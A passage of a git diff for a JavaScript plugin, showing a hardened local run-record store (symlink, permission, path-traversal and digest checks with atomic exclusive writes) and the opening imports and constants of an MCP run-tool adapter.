MAX_RUN_STORE_DIAGNOSTIC_BYTES = 160; + +export const RUN_STORE_RECORD_KEYS = capturedFreeze([ + 'schema', 'run_id', 'request_idempotency_key', 'identity', 'git', + 'provenance', 'telemetry', 'canonical_digest', +]); +export const RUN_STORE_INPUT_KEYS = capturedFreeze([ + 'run_id', 'request_idempotency_key', 'identity', 'git', 'provenance', 'telemetry', +]); + +const RECORD_NAME_PATTERN = /^[a-z][a-z0-9-]{2,63}\.json$/u; +const KEY_NAME_PATTERN = /^k-[0-9a-f]{64}$/u; +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const IDEMPOTENCY_HEX_PATTERN = /^sha256:([0-9a-f]{64})$/u; +const HASH_ALGORITHM = 'sha256'; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const RANDOM_BYTES = randomBytes; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +const STORE_CHAINS = new Map(); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_RUN_STORE_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_RUN_STORE_DIAGNOSTIC_BYTES); +} + +function failStore(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, fallback, fallbackMessage) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') failStore('run_store_root_missing', field, 'The run store path does not exist.'); + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failStore('run_store_root_unsafe', field, 'The run store path is not a real directory.'); + } + if (errno === 'EEXIST') failStore('run_identity_conflict', field, fallbackMessage); + failStore(fallback, field, fallbackMessage); +} + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failStore('run_store_root_unsafe', 'root', 'Run store root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failStore('run_store_path_unsafe', 'root', 'Run store root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failStore('run_store_path_unsafe', 'root', 'Run store root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failStore('run_store_path_unsafe', 'root', 'Run store root must be a normalized absolute path.'); + } + const parts = value.split('/'); + for (const part of parts) { + if (part === '.' || part === '..') { + failStore('run_store_path_unsafe', 'root', 'Run store root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failStore('run_store_foreign_entry', field, 'Run store directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') || path.basename(name) !== name) { + failStore('run_store_path_unsafe', field, 'Run store filenames must be single path components.'); + } + if (utf8ByteLength(name) > MAX_RUN_STORE_FILENAME_BYTES) { + failStore('run_store_foreign_entry', field, 'Run store filename exceeds the bounded length.'); + } + return name; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function assertPrivateEntry(stat, field, kind) { + if (stat.isSymbolicLink()) { + failStore('run_store_root_unsafe', field, `The run store ${kind} must not be a symbolic link.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('run_store_root_unsafe', field, + `The run store ${kind} must be owned by the current user.`); + } + if ((stat.mode & 0o022) !== 0) { + failStore('run_store_root_unsafe', field, + `The run store ${kind} must not be writable by group or other users.`); + } + if (kind === 'directory' && (stat.mode & 0o077) !== 0) { + failStore('run_store_root_unsafe', field, + 'The run store directory must be private (no group or other access).'); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failStore('run_store_not_regular', field, 'Run store files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('run_store_root_unsafe', field, 'Run store files must be owned by the current user.'); + } + if ((stat.mode & 0o077) !== 0) { + failStore('run_store_root_unsafe', field, 'Run store files must be owner-only.'); + } +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +async function openRootHandle(rootPath) { + const resolved = assertSafeRootPath(rootPath); + let handle; + try { + handle = await open(resolved, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, 'root', 'run_store_root_unsafe', + 'The run store root could not be opened without following links.'); + } + try { + const stat = await handle.stat(); + if (!stat.isDirectory() || stat.isSymbolicLink()) { + failStore('run_store_root_unsafe', 'root', 'The run store root must be a real directory.'); + } + assertPrivateEntry(stat, 'root', 'directory'); + return { handle, path: resolved, dev: stat.dev, ino: stat.ino, mode: stat.mode, uid: stat.uid }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function assertRootUnchanged(token) { + const opened = await openRootHandle(token.path); + try { + if (!sameIdentity(opened, token)) { + failStore('run_store_root_unsafe', 'root', + 'The run store root was replaced during use.'); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== safe) { + failStore('run_store_path_unsafe', 'name', 'Run store child path escaped the private root.'); + } + return joined; +} + +function recordNameFor(runId) { + assertRunId(runId, 'run_id'); + return `${runId}.json`; +} + +function keyNameFor(requestKey, field = 'request_idempotency_key') { + if (typeof requestKey !== 'string') { + failStore('invalid_format', field, 'Request idempotency key must be a sha256 digest.'); + } + const match = IDEMPOTENCY_HEX_PATTERN.exec(requestKey); + if (!match) failStore('invalid_format', field, 'Request idempotency key must be a sha256 digest.'); + return `k-${match[1]}`; +} + +function classifyName(name) { + if (capturedTest(TEMP_NAME_PATTERN, name)) return 'temp'; + if (capturedTest(RECORD_NAME_PATTERN, name)) return 'record'; + if (capturedTest(KEY_NAME_PATTERN, name)) return 'key'; + return 'foreign'; +} + +function equalBytes(left, right) { + if (!NodeBuffer.isBuffer(left) || !NodeBuffer.isBuffer(right) || left.length !== right.length) { + return false; + } + return TIMING_SAFE_EQUAL(left, right); +} + +function hashCanonical(canonical) { + return `sha256:${CREATE_HASH(HASH_ALGORITHM).update(canonical, 'utf8').digest('hex')}`; +} + +function bindRecord(payload) { + const canonical = canonicalJsonStringify(payload); + const record = snapshotRecord({ ...payload, canonical_digest: hashCanonical(canonical) }); + const bytes = BUFFER_FROM(`${canonicalJsonStringify(record)}\n`, 'utf8'); + if (bytes.byteLength > MAX_RUN_STORE_RECORD_BYTES) { + failStore('run_store_record_too_large', 'record', + `Run store records must not exceed ${MAX_RUN_STORE_RECORD_BYTES} bytes.`); + } + return { record, canonical, bytes }; +} + +function assertMatchingIdentities(input) { + const identity = validateRunIdentityV1(input.identity, 'identity'); + const git = validateGitIdentityV1(input.git, 'git'); + assertSharedGitIdentityV1(identity.git, git, 'git'); + const provenance = validateDispatchProvenanceV1(input.provenance); + const telemetry = validateDispatchTelemetryV1(input.telemetry); + if (identity.run_id !== input.run_id || provenance.run.run_id !== input.run_id) { + failStore('run_identity_mismatch', 'run_id', + 'Run store records must bind one run identity.'); + } + if (identity.digest !== provenance.run.digest) { + failStore('run_identity_mismatch', 'identity', + 'Run identity does not match the stored provenance run.'); + } + if (git.digest !== provenance.git.digest || git.digest !== identity.git.digest) { + failStore('run_identity_mismatch', 'git', + 'Git identity does not match the immutable repository/base authority.'); + } + if (provenance.provider_run.request_idempotency_key !== input.request_idempotency_key) { + failStore('run_identity_mismatch', 'request_idempotency_key', + 'Request idempotency key does not match the protected provider-run key.'); + } + const projected = projectDispatchTelemetryV1(provenance); + const projectedCanonical = canonicalJsonStringify(projected); + const telemetryCanonical = canonicalJsonStringify(telemetry); + if (projectedCanonical !== telemetryCanonical) { + failStore('run_identity_mismatch', 'telemetry', + 'Telemetry must be the content-free projection of the stored provenance.'); + } + return { identity, git, provenance, telemetry }; +} + +function parseSubmitInput(input) { + if (input === undefined || input === null) { + failStore('invalid_type', 'record', 'Run store submission must be a plain JSON data object.'); + } + assertDirectJsonClosure(input, 'record'); + const fields = closedObject(input, 'record', RUN_STORE_INPUT_KEYS); + assertRunId(fields.run_id, 'run_id'); + assertBoundDigest(fields.request_idempotency_key, 'request_idempotency_key'); + const bound = assertMatchingIdentities(fields); + return bindRecord({ + schema: RUN_STORE_RECORD_SCHEMA_ID, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity: bound.identity, + git: bound.git, + provenance: bound.provenance, + telemetry: bound.telemetry, + }); +} + +function assertNoDuplicateJsonKeys(text, field) { + if (typeof text !== 'string') { + failStore('run_store_malformed_record', field, 'Run store records must be UTF-8 JSON text.'); + } + const scopes = [{ object: false, keys: new Set() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) { + cursor += 1; + } + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(text.slice(stringStart - 1, index + 1)); + } catch { + failStore('run_store_malformed_record', field, 'Run store JSON key is invalid.'); + } + if (scope.keys.has(key)) { + failStore('run_store_duplicate_entry', field, + 'Run store JSON objects must not contain duplicate keys.'); + } + scope.keys.add(key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + stringStart = index + 1; + continue; + } + if (char === '{') { + scopes.push({ object: true, keys: new Set() }); + if (scopes.length > 40) { + failStore('run_store_malformed_record', field, 'Run store JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '[') { + scopes.push({ object: false, keys: new Set() }); + if (scopes.length > 40) { + failStore('run_store_malformed_record', field, 'Run store JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '}' || char === ']') { + if (scopes.length <= 1) { + failStore('run_store_malformed_record', field, 'Run store JSON is unbalanced.'); + } + scopes.pop(); + } + } + if (inString || scopes.length !== 1) { + failStore('run_store_malformed_record', field, 'Run store JSON is incomplete.'); + } +} + +function decodeUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failStore('run_store_malformed_record', field, 'Run store records must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failStore('run_store_malformed_record', field, 'Run store records must be valid UTF-8.'); + } +} + +function parseStoredRecord(bytes, field) { + if (!NodeBuffer.isBuffer(bytes) || bytes.byteLength === 0) { + failStore('run_store_malformed_record', field, 'Run store record is truncated.'); + } + if (bytes.byteLength > MAX_RUN_STORE_RECORD_BYTES) { + failStore('run_store_record_too_large', field, + `Run store records must not exceed ${MAX_RUN_STORE_RECORD_BYTES} bytes.`); + } + const text = decodeUtf8(bytes, field); + assertNoDuplicateJsonKeys(text, field); + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failStore('run_store_malformed_record', field, 'Run store record is not valid JSON.'); + } + if (parsed === undefined || parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) { + failStore('run_store_malformed_record', field, 'Run store record must be a JSON object.'); + } + assertDirectJsonClosure(parsed, field); + const fields = closedObject(parsed, field, RUN_STORE_RECORD_KEYS); + if (fields.schema !== RUN_STORE_RECORD_SCHEMA_ID) { + failStore('run_store_malformed_record', `${field}.schema`, + `Run store schema must be exactly "${RUN_STORE_RECORD_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, `${field}.run_id`); + assertBoundDigest(fields.request_idempotency_key, `${field}.request_idempotency_key`); + if (!capturedTest(SHA256_DIGEST_PATTERN, fields.canonical_digest)) { + failStore('invalid_format', `${field}.canonical_digest`, + 'Run store canonical digest must be a sha256 digest.'); + } + const bound = assertMatchingIdentities(fields); + const rebuilt = bindRecord({ + schema: RUN_STORE_RECORD_SCHEMA_ID, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity: bound.identity, + git: bound.git, + provenance: bound.provenance, + telemetry: bound.telemetry, + }); + if (rebuilt.record.canonical_digest !== fields.canonical_digest + || !equalBytes(rebuilt.bytes, bytes)) { + failStore('run_identity_mismatch', field, + 'Stored canonical bytes do not match the recomputed P06-bound record.'); + } + return rebuilt; +} + +async function openChildFile(rootPath, name, flags, field) { + const target = childPath(rootPath, name); + try { + return await open(target, flags, 0o600); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + if (error?.code === 'EEXIST') return undefined; + mapErrno(error, field, 'run_store_unreadable', 'The run store file could not be opened safely.'); + } +} + +async function readExactFile(rootPath, name, maxBytes, field) { + const handle = await openChildFile(rootPath, name, FILE_READ_FLAGS, field); + if (handle === null) return null; + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + const size = Number(stat.size); + if (!NUMBER_IS_SAFE_INTEGER(size) || size > maxBytes) { + failStore('run_store_record_too_large', field, 'Run store file exceeds the bounded size.'); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failStore('run_store_record_too_large', field, 'Run store file exceeds the bounded size.'); + } + const after = await handle.stat(); + if (Number(after.ino) !== Number(stat.ino) || Number(after.dev) !== Number(stat.dev) + || Number(after.size) !== Number(stat.size) || Number(after.nlink) !== Number(stat.nlink)) { + failStore('run_store_unreadable', field, 'The run store file changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function inspectChild(rootPath, name, field) { + const handle = await openChildFile(rootPath, name, FILE_READ_FLAGS, field); + if (handle === null) return { kind: 'missing' }; + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + return { kind: 'file', stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function syncDirectory(rootHandle) { + try { + await rootHandle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failStore('run_store_unreadable', 'root', 'The run store directory could not be synchronized.'); + } +} + +async function writePrivateTemp(root, bytes) { + const name = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const target = childPath(root.path, name); + const handle = await openChildFile(root.path, name, FILE_CREATE_FLAGS, 'temporary'); + if (handle === null || handle === undefined) { + failStore('run_store_unreadable', 'temporary', 'A private temporary file could not be created exclusively.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, 'temporary'); + if (Number(stat.size) !== bytes.byteLength) { + failStore('run_store_unreadable', 'temporary', 'Temporary write was truncated.'); + } + await syncDirectory(root.handle); + return { name, path: target }; + } catch (error) { + await handle.close().catch(() => {}); + await unlink(target).catch(() => {}); + throw error; + } finally { + await handle.close().catch(() => {}); + } +} + +async function unlinkPrivateTemp(rootPath, name) { + if (!capturedTest(TEMP_NAME_PATTERN, name)) return; + const target = childPath(rootPath, name); + try { + const handle = await open(target, FILE_READ_FLAGS); + try { + const stat = await handle.stat(); + if (!stat.isFile() || stat.isSymbolicLink()) { + failStore('run_store_torn_temporary', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) return; + } finally { + await handle.close().catch(() => {}); + } + await unlink(target); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + if (error?.code === 'ENOENT') return; + if (error?.code === 'ELOOP') { + failStore('run_store_torn_temporary', 'temporary', + 'A leftover temporary path is a symbolic link and was not followed.'); + } + } +} + +async function exclusiveLink(tmpPath, destPath, field) { + try { + await link(tmpPath, destPath); + } catch (error) { + if (error?.code === 'EEXIST') return false; + if (error?.code === 'ELOOP') { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + mapErrno(error, field, 'run_store_unreadable', 'The run store record could not be published exclusively.'); + } + return true; +} + +async function readKeyPointer(rootPath, keyName, field) { + const opened = await readExactFile(rootPath, keyName, MAX_RUN_STORE_KEY_FILE_BYTES, field); + if (opened === null) return null; + const text = decodeUtf8(opened.bytes, field).replace(/\n$/u, ''); + assertRunId(text, field); + return text; +} + +async function enumerateDirectory(root) { + let dir; + try { + dir = await opendir(root.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, 'root', 'run_store_unreadable', 'The run store directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > MAX_RUN_STORE_DIRECTORY_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_DIRECTORY_ENTRIES} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, 'root')); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +async function auditStore(root) { + const before = await root.handle.stat(); + const names = await enumerateDirectory(root); + const after = await root.handle.stat(); + if (!sameIdentity(before, after) || Number(before.mode) !== Number(after.mode)) { + failStore('run_store_root_unsafe', 'root', + 'The run store root changed while it was audited.'); + } + const records = capturedCreate(null); + const keys = capturedCreate(null); + const seenKeys = capturedCreate(null); + let recordCount = 0; + for (const name of names) { + const kind = classifyName(name); + if (kind === 'temp') { + failStore('run_store_torn_temporary', 'temporary', + 'Leftover temporary files are not authoritative and are not followed.'); + } + if (kind === 'foreign') { + failStore('run_store_foreign_entry', 'root', + 'The run store directory contains a foreign or oversized entry.'); + } + const inspection = await inspectChild(root.path, name, kind); + if (inspection.kind !== 'file') { + failStore('run_store_not_regular', kind, 'Run store files must be regular non-symlink files.'); + } + assertRegularUnsharedFile(inspection.stat, kind); + if (kind === 'record') { + recordCount += 1; + if (recordCount > MAX_RUN_STORE_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_ENTRIES} records.`); + } + const opened = await readExactFile(root.path, name, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (opened === null) { + failStore('run_store_torn_record', 'record', 'A named run record could not be read.'); + } + const parsed = parseStoredRecord(opened.bytes, 'record'); + const expectedName = recordNameFor(parsed.record.run_id); + if (expectedName !== name) { + failStore('run_store_foreign_entry', 'record', + 'Record filename does not match the bound run id.'); + } + if (capturedHasOwn(records, parsed.record.run_id)) { + failStore('run_store_duplicate_entry', 'run_id', + 'Run store directories must contain one record per run id.'); + } + if (capturedHasOwn(seenKeys, parsed.record.request_idempotency_key)) { + failStore('run_store_duplicate_entry', 'request_idempotency_key', + 'Run store directories must contain one record per request idempotency key.'); + } + records[parsed.record.run_id] = parsed.record; + seenKeys[parsed.record.request_idempotency_key] = parsed.record.run_id; + } else { + const runId = await readKeyPointer(root.path, name, 'key'); + const hex = name.slice(2); + const requestKey = `sha256:${hex}`; + if (capturedHasOwn(keys, requestKey)) { + failStore('run_store_duplicate_entry', 'request_idempotency_key', + 'Run store directories must contain one key pointer per request.'); + } + keys[requestKey] = runId; + } + } + const recordIds = sortedCapturedKeys(records); + for (const runId of recordIds) { + const record = records[runId]; + const expectedKeyName = keyNameFor(record.request_idempotency_key); + const pointed = keys[record.request_idempotency_key]; + if (pointed === undefined) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'Run records require a matching request idempotency pointer.'); + } + if (pointed !== runId) { + failStore('run_identity_mismatch', 'request_idempotency_key', + 'Request idempotency pointer does not name the stored run.'); + } + if (!capturedIncludes(names, expectedKeyName)) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'Run records require a matching request idempotency pointer.'); + } + } + for (const requestKey of sortedCapturedKeys(keys)) { + if (!capturedHasOwn(seenKeys, requestKey)) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'A request idempotency pointer has no matching run record.'); + } + } + return { records, keys: seenKeys }; +} + +function withStoreChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = STORE_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (STORE_CHAINS.get(id) === settled) STORE_CHAINS.delete(id); + }); + STORE_CHAINS.set(id, settled); + return current; +} + +function conflictFor(existing, candidate) { + if (existing.run_id === candidate.run_id + && existing.request_idempotency_key === candidate.request_idempotency_key + && existing.canonical_digest === candidate.canonical_digest) { + return null; + } + if (existing.request_idempotency_key === candidate.request_idempotency_key) { + failStore('run_idempotency_conflict', 'request_idempotency_key', + 'Request idempotency key already binds a different canonical body.'); + } + failStore('run_identity_conflict', 'run_id', + 'Run id already binds a different body or request idempotency key.'); +} + +function listProjection(record) { + return snapshotRecord({ + run_id: record.run_id, + request_idempotency_key: record.request_idempotency_key, + identity_digest: record.identity.digest, + git_digest: record.git.digest, + canonical_digest: record.canonical_digest, + }); +} + +async function operate(token, fn) { + return withStoreChain(token, async () => { + const root = await assertRootUnchanged(token); + try { + const inventory = await auditStore(root); + return await fn(root, inventory); + } finally { + await root.handle.close().catch(() => {}); + } + }); +} + +async function publishRecord(root, prepared) { + const recordName = recordNameFor(prepared.record.run_id); + const keyName = keyNameFor(prepared.record.request_idempotency_key); + const keyBytes = BUFFER_FROM(`${prepared.record.run_id}\n`, 'utf8'); + const recordTmp = await writePrivateTemp(root, prepared.bytes); + let keyTmp; + try { + keyTmp = await writePrivateTemp(root, keyBytes); + const keyPath = childPath(root.path, keyName); + const recordPath = childPath(root.path, recordName); + const linkedKey = await exclusiveLink(keyTmp.path, keyPath, 'request_idempotency_key'); + if (!linkedKey) { + const owner = await readKeyPointer(root.path, keyName, 'request_idempotency_key'); + const existingName = owner ? recordNameFor(owner) : recordName; + const existing = await readExactFile(root.path, existingName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (existing === null) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'A request idempotency pointer has no matching run record.'); + } + const parsed = parseStoredRecord(existing.bytes, 'record'); + conflictFor(parsed.record, prepared.record); + return { record: parsed.record, created: false }; + } + const linkedRecord = await exclusiveLink(recordTmp.path, recordPath, 'run_id'); + if (!linkedRecord) { + await unlink(keyPath).catch(() => {}); + const existing = await readExactFile(root.path, recordName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (existing === null) { + failStore('run_identity_conflict', 'run_id', + 'Run id already binds a different body or request idempotency key.'); + } + const parsed = parseStoredRecord(existing.bytes, 'record'); + conflictFor(parsed.record, prepared.record); + return { record: parsed.record, created: false }; + } + await unlinkPrivateTemp(root.path, recordTmp.name); + await unlinkPrivateTemp(root.path, keyTmp.name); + await syncDirectory(root.handle); + const published = await readExactFile(root.path, recordName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (published === null) { + failStore('run_store_torn_record', 'record', 'Published run record could not be re-read.'); + } + const parsed = parseStoredRecord(published.bytes, 'record'); + return { record: parsed.record, created: true }; + } finally { + await unlinkPrivateTemp(root.path, recordTmp.name); + if (keyTmp) await unlinkPrivateTemp(root.path, keyTmp.name); + } +} + +export async function openRunStore(rootPath) { + const opened = await openRootHandle(rootPath); + try { + const inventory = await auditStore(opened); + const token = capturedFreeze({ + path: opened.path, + dev: opened.dev, + ino: opened.ino, + }); + freezeData(inventory.records); + freezeData(inventory.keys); + return capturedFreeze({ + root: token.path, + async submit(input) { + const prepared = parseSubmitInput(input); + return operate(token, async (root, current) => { + const existing = current.records[prepared.record.run_id]; + const keyed = current.keys[prepared.record.request_idempotency_key]; + if (existing) { + conflictFor(existing, prepared.record); + return { record: existing, created: false }; + } + if (keyed !== undefined) { + const other = current.records[keyed]; + if (other) conflictFor(other, prepared.record); + failStore('run_idempotency_conflict', 'request_idempotency_key', + 'Request idempotency key already binds a different canonical body.'); + } + if (sortedCapturedKeys(current.records).length >= MAX_RUN_STORE_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_ENTRIES} records.`); + } + return publishRecord(root, prepared); + }); + }, + async getByRunId(runId) { + assertRunId(runId, 'run_id'); + return operate(token, async (_root, current) => { + const record = current.records[runId]; + if (!record) failStore('run_store_not_found', 'run_id', 'No run record exists for that run id.'); + return record; + }); + }, + async getByIdempotencyKey(requestKey) { + assertBoundDigest(requestKey, 'request_idempotency_key'); + return operate(token, async (_root, current) => { + const runId = current.keys[requestKey]; + if (runId === undefined) { + failStore('run_store_not_found', 'request_idempotency_key', + 'No run record exists for that request idempotency key.'); + } + return current.records[runId]; + }); + }, + async list() { + return operate(token, async (_root, current) => { + const ids = sortedCapturedKeys(current.records); + const entries = ids.map((runId) => listProjection(current.records[runId])); + return capturedFreeze(entries); + }); + }, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + +capturedFreeze(openRunStore); +capturedFreeze(parseSubmitInput); +capturedFreeze(parseStoredRecord); diff --git a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs new file mode 100644 index 0000000..861d90e --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs @@ -0,0 +1,2351 @@ +// RunToolAdapterV1 — R-CUTOVER five-tool wiring (ADR 0001 identifiers +// `additive_3_2_1_compatibility`, `bounded_run_1_to_8`, +// `decision_or_attention`, `deterministic_explicit_or_profile_resolution`, +// `no_direct_mode_for_run_submissions`, `no_post_dispatch_fallback_or_replay`, +// `gate_a_no_protected_ref_mutation`). +// +// Additive v3 adapter. It maps submit/status/wait/attention/reply/cancel/ +// cleanup onto the frozen five-tool catalog through Sol-frozen additive +// parameters and modes. There is no sixth MCP tool. Omitted additive fields +// keep the exact 3.2.1 direct/single-task path. Parsing or validation +// failure produces zero provider dispatch, replay, fallback, ref creation, +// or cleanup. Provider/model is explicit or a caller-named profile; P22 is +// conformance evidence never a slot; P33/P34/P35 remain the authority for +// runtime, attention, and candidate refs. MCP output is model-facing and +// therefore sanitized. + +import { createHash } from 'node:crypto'; +import { chmod, mkdir, readdir, readFile, rename, unlink, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + openAttentionRoot, + validateAttentionItemsV1, +} from './attention-batch.mjs'; +import { MCP_PENDING_CALL_BUDGET_MS } from './contract.mjs'; +import { submitReply } from './mailbox.mjs'; +import { + denyRunRemoteMutationV1, +} from './run-orchestration.mjs'; +import { + CANDIDATE_REF_NAMESPACE, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + expectedCandidateRefV1, + isRunOwnedCandidateRefV1, + classifyGitOperationV1, +} from './git-authority.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + isKnownProvider, + isModelId, + isProfileName, + knownProvidersJoined, +} from './grammar.mjs'; +import { + FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, +} from './future-harness.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + findProfile, + loadProfileCatalogSnapshot, +} from './profile.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + describeProviderRegistryV1, + isRegistrySlotV1, + requireRegistrySlotV1, + resolveRegistrySelectionV1, +} from './provider-registry.mjs'; +import { createRunArtifactBridge } from './run-artifact-bridge.mjs'; +import { + createAggregateRunJournal, + createRunJournal, + openAggregateRunJournal, + openRunJournal, +} from './run-journal.mjs'; +import { + MAX_ASSIGNMENTS, + MIN_ASSIGNMENTS, + RUN_ID_PATTERN, + RunContractV1Error, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + RUN_RUNTIME_METHODS, + createRunRuntime, +} from './run-runtime.mjs'; +import { createRunScheduler } from './run-scheduler.mjs'; +import { openRunStore } from './run-store.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_TOOL_ADAPTER_SCHEMA_ID = 'codex-co-engineer.run-tool-adapter.v1'; +export const RUN_TOOL_ADAPTER_VERSION = 1; +export const RUN_TOOL_ADAPTER_RECEIPT_SCHEMA_ID = 'codex-co-engineer.run-tool-receipt.v1'; + +export const PUBLIC_MCP_CATALOG = capturedFreeze([ + 'status', 'delegate', 'task', 'tasks', 'cancel', +]); +export const RUN_TOOL_OPERATIONS = capturedFreeze([ + 'submit', 'status', 'wait', 'attention', 'reply', 'cancel', 'cleanup', +]); +export const RUN_TOOL_MODES = capturedFreeze(['legacy', 'run']); +export const ADDITIVE_WAIT_UNTIL = 'decision_or_attention'; +export const WAIT_UNTIL_VALUES = capturedFreeze([ + 'progress', 'terminal', ADDITIVE_WAIT_UNTIL, +]); + +export 